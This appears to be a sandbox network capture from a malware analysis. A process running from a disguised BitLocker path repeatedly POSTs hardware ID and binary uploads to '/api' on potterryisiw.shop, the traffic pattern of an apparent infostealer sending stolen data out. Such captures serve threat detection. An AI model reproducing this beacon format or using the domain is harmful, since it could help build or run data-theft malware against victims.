50 36 33 76 78 73 69 48 6f 41 75 4f 4f 4d 37 5a 47 48 41 4f 34 53 72 73 2f 75 31 4e Data Ascii: PLL4ue8KF0ppKA3uOqIgpDhZu5T2pFUdwHhPOz+5EcTroKu0LQrSCeu6Xu1re7h8/chpVTb2wA1QqZ2rrvtWl7yzeXwqydbIamuK6bpjYqW7WjlUtuaVnIL4Tzs/uRHE66Crs26N0groqV56PzI4vOFeqcT0JcYL0DhfqK74lhS/8Dt8L4nWiuupTem6I2Bm+Rq5l/RmlZ3DKEy4PyjWEu2mKyimSxINaK5P63vxsiHoAuOOM7ZGHAO4Srs/u1N
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 6e 75 2b 58 38 63 59 4b 6d 6b 4d 61 44 6e 67 59 65 66 36 47 72 33 57 74 4b 56 57 48 4d 4a 72 6e 53 71 76 65 4e 4e 56 66 4c 49 37 65 2b 30 4b 56 30 6b 34 65 64 37 36 75 53 65 79 73 43 73 49 39 64 65 32 59 42 58 63 42 4f 72 4d 75 79 68 72 54 63 34 6e 64 6d 73 6f 72 34 72 48 6e 6a 6a 36 54 32 6b 38 59 32 4c 6b 2b 56 74 34 6c 7a 53 6b 56 68 34 42 71 4a 38 70 62 2f 67 56 31 37 37 7a 75 54 72 73 43 42 53 4a 4b 62 70 64 2b 69 6a 67 5a 4c 59 74 69 47 6c 65 50 61 32 64 48 41 59 34 54 43 78 38 49 73 30 4f 4f 2b 43 72 75 57 31 5a 77 5a 69 34 61 55 77 70 75 6d 4e 6a 5a 4c 67 61 75 74 59 78 59 6c 62 63 77 47 6f 63 61 6d 33 37 56 39 55 38 38 37 70 34 37 49 6a 56 43 4f 6e 36 58 66 6f 6f 34 47 53 32 4c 59 68 70 58 2f 55 6d 31 56 74 51 75 4e 74 34 4e 61 49 4e 45 71 30 67 Data Ascii: nu+X8cYKmkMaDngYef6Gr3WtKVWHMJrnSqveNNVfLI7e+0KV0k4ed76uSeysCsI9de2YBXcBOrMuyhrTc4ndmsor4rHnjj6T2k8Y2Lk+Vt4lzSkVh4BqJ8pb/gV177zuTrsCBSJKbpd+ijgZLYtiGlePa2dHAY4TCx8Is0OO+CruW1ZwZi4aUwpumNjZLgautYxYlbcwGocam37V9U887p47IjVCOn6Xfoo4GS2LYhpX/Um1VtQuNt4NaINEq0g
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 68 57 47 44 76 36 33 6d 74 2b 38 62 53 32 71 35 44 2f 6c 37 62 6e 42 67 31 48 65 38 61 78 64 58 36 48 52 50 78 7a 4b 36 36 2b 32 64 56 4c 4b 57 75 4f 61 66 67 6a 6f 2b 63 35 47 62 6c 57 38 57 54 57 48 41 51 73 33 4b 6e 75 2b 39 63 55 2f 4c 47 35 2b 53 36 49 78 35 75 34 2b 6b 2b 73 71 50 65 79 4e 6a 44 62 2b 4a 36 30 49 41 59 4e 52 33 76 47 73 58 56 2b 68 30 54 38 63 79 75 75 76 74 6e 58 79 75 72 70 6a 53 70 35 59 57 42 6e 65 52 69 34 6c 76 61 69 56 74 34 44 61 56 79 6f 62 6a 6c 58 6c 7a 77 78 2b 66 6a 73 53 41 65 62 75 50 70 50 72 4b 6a 33 73 6a 59 77 47 54 6d 56 35 66 5a 52 7a 6c 71 79 68 6d 33 2f 4b 4e 59 58 37 61 59 72 4b 4b 35 4c 56 51 71 72 36 6b 2b 75 4f 57 50 69 70 76 38 59 4f 4e 62 30 5a 64 55 65 67 71 6f 63 71 75 31 37 6c 52 65 38 4d 44 6c 34 2f Data Ascii: hWGDv63mt+8bS2q5D/l7bnBg1He8axdX6HRPxzK66+2dVLKWuOafgjo+c5GblW8WTWHAQs3Knu+9cU/LG5+S6Ix5u4+k+sqPeyNjDb+J60IAYNR3vGsXV+h0T8cyuuvtnXyurpjSp5YWBneRi4lvaiVt4DaVyobjlXlzwx+fjsSAebuPpPrKj3sjYwGTmV5fZRzlqyhm3/KNYX7aYrKK5LVQqr6k+uOWPipv8YONb0ZdUegqocqu17lRe8MDl4/
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 38 76 35 70 2b 49 76 74 34 59 65 67 43 34 34 34 7a 76 4d 7a 48 47 6e 68 5a 4f 37 6d 6f 51 30 64 6e 71 75 46 69 66 6b 31 48 6e 6a 6a 36 58 36 70 38 5a 53 4d 6d 2f 68 67 6f 6d 33 70 76 45 4a 36 42 4c 5a 6a 6b 49 44 6b 52 56 37 77 31 2f 2b 75 72 43 52 51 4c 71 61 2f 65 65 53 4c 37 65 48 7a 72 6d 79 6c 43 35 57 69 47 44 39 43 6e 6a 7a 47 31 59 67 30 45 2b 36 41 74 71 44 35 45 6c 30 75 72 36 34 76 75 36 36 68 6b 4a 58 6f 64 50 51 54 6d 66 4d 7a 48 47 6e 68 64 4f 37 6d 6f 51 38 64 6e 71 75 46 69 66 6b 6a 54 32 44 35 36 32 6e 34 75 4e 50 5a 7a 37 34 78 6a 54 69 38 68 42 59 66 61 63 70 72 78 74 57 49 4e 42 50 67 67 4c 61 67 36 32 6b 32 53 38 72 43 65 62 69 6a 33 73 6a 59 71 57 44 33 51 64 47 59 54 6e 52 46 6e 30 79 41 75 65 56 61 56 4f 61 43 77 4f 6d 74 49 42 35 Data Ascii: 8v5p+Ivt4YegC444zvMzHGnhZO7moQ0dnquFifk1Hnjj6X6p8ZSMm/hgom3pvEJ6BLZjkIDkRV7w1/+urCRQLqa/eeSL7eHzrmylC5WiGD9CnjzG1Yg0E+6AtqD5El0ur64vu66hkJXodPQTmfMzHGnhdO7moQ8dnquFifkjT2D562n4uNPZz74xjTi8hBYfacprxtWINBPggLag62k2S8rCebij3sjYqWD3QdGYTnRFn0yAueVaVOaCwOmtIB5
2024-07-03 17:31:24 UTC	1369	IN	Data Raw: 63 47 49 37 63 71 63 2f 79 4f 39 45 59 66 4a 41 79 4a 52 39 69 4c 38 31 6f 67 30 54 4c 69 6f 68 59 6d 67 54 7a 56 4c 79 75 6b 76 36 72 76 45 32 4e 61 47 43 49 34 34 6c 34 6b 59 4c 30 44 68 4e 61 32 73 38 56 6c 51 34 4d 4f 70 33 49 63 6d 55 79 2f 74 70 7a 4b 71 35 4a 61 63 67 36 4a 72 35 6b 6e 4e 70 57 5a 63 44 71 64 31 74 4c 6e 6c 65 58 4f 32 6a 6f 61 4a 30 6b 77 65 4c 2b 48 78 65 35 4f 6a 7a 73 71 6e 6f 41 75 4f 4f 4c 7a 62 51 44 64 61 34 7a 4b 62 76 65 31 52 56 4f 44 52 6f 38 71 61 48 57 52 69 6a 61 34 73 36 4e 65 42 6d 6f 6e 6c 62 75 6b 54 6d 66 4d 7a 48 47 6e 68 64 4f 37 6d 6f 51 38 64 6e 71 75 46 69 66 6b 6a 54 32 44 35 36 32 6e 34 75 4e 50 5a 7a 37 34 78 6a 54 69 38 68 42 59 66 61 63 70 72 78 74 57 49 4e 42 50 67 67 4c 61 67 36 32 6b 32 53 38 72 43 Data Ascii: cGI7cqc/yO9EYfJAyJR9iL81og0TLiohYmgTzVLyukv6rvE2NaGCI44l4kYL0DhNa2s8VlQ4MOp3IcmUy/tpzKq5Jacg6Jr5knNpWZcDqd1tLnleXO2joaJ0kweL+Hxe5OjzsqnoAuOOLzbQDda4zKbve1RVODRo8qaHWRija4s6NeBmonlbukTmfMzHGnhdO7moQ8dnquFifkjT2D562n4uNPZz74xjTi8hBYfacprxtWINBPggLag62k2S8rC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:24 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18167 Host: potterryisiw.shop
2024-07-03 17:31:24 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
2024-07-03 17:31:24 UTC	2836	OUT	Data Raw: b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-07-03 17:31:25 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tljhsllleu6fvr7lq37a97p94u; expires=Sun, 27-Oct-2024 11:18:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B7KfLSuH6TpulSC1ufD0JJJQnS4GrdSPpOejTZy85H7OOCO20nfrKPcMpCsgSjNQQewOXjwaul%2Bc8UowTF8OWk7JpuBw1kYcGadZJAu4EeJAkGPjstkCW2GPcTtfzjFBGnpmHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89be8bff543ad-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:25 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-03 17:31:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8788 Host: potterryisiw.shop
2024-07-03 17:31:26 UTC	8788	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
2024-07-03 17:31:27 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lofvgs2bgecl4tcrjfao8q1vkm; expires=Sun, 27-Oct-2024 11:18:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=St%2F6xUJk5G%2B3UKTUQQS%2B6tBqLHyq4uI7z37YZm3IBw16S7lP8mgYVLUFrnpV%2Bj%2FqM6kruhXXNY2Igco7Fs%2FbhfEhEtKAQuNQ2aM9R%2BNCkngZ5z28zAY6fGvScgfcw9liZ%2BftJA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89bf2e95e43a9-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-03 17:31:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:27 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20441 Host: potterryisiw.shop
2024-07-03 17:31:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
2024-07-03 17:31:27 UTC	5110	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 Data Ascii: `M?lrQMn 64F6(X&7~`a
2024-07-03 17:31:28 UTC	806	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7v9vs9csba63g2a1u044vm813v; expires=Sun, 27-Oct-2024 11:18:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=keYhlJwut5KFj6BgqmaTSZDZdWUpCZ2iUCPQ%2BicXAGsWnhgtmgAGSj3cPEp0peewLtmvPG25Atj04jOQ6mkOwn2QvfBxA%2B38GYBQLn4mDM%2Frdb7%2Ft8TNtQaUAvvPmYBpIqBsgg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89bfb991b8c2d-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-03 17:31:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:29 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7088 Host: potterryisiw.shop
2024-07-03 17:31:29 UTC	7088	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
2024-07-03 17:31:30 UTC	802	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=30i2dvdbijdnpn6vla9mjupirk; expires=Sun, 27-Oct-2024 11:18:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zyr4HP3MjFdoKZ%2FJy6MiQRpVxemCgTGtkRZdcZ%2FtyOCkYyENketjtGDzu91S6SKD4OtPgXUaipkHzocd22ZaidIuxpusQDccJkPd1rYp34H6uBhjAbyYZAgjed9xceZ8qbvIaA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89c08cd9142f2-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-03 17:31:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:30 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1283 Host: potterryisiw.shop
2024-07-03 17:31:30 UTC	1283	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
2024-07-03 17:31:31 UTC	806	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7api8at8apo4m0bv7tupc89uno; expires=Sun, 27-Oct-2024 11:18:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jL4m1luhsmP%2BzCdbMFjv5n4Ip5vlpQXg261zpqO0t1uIxZE9ne22Mbxfcc0h9w%2BhWQ4nVLvSk4Brtlqesd3xactArA6ffoeCDQSO%2B2AvTuABqeumFniQ57iOf91m%2B9hOe3V3AA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89c0ef8ba8c9b-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:31 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-03 17:31:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585978 Host: potterryisiw.shop
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"08DC8F37AC220BE63A7ECF114EF431A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"fuOLMb--palpa
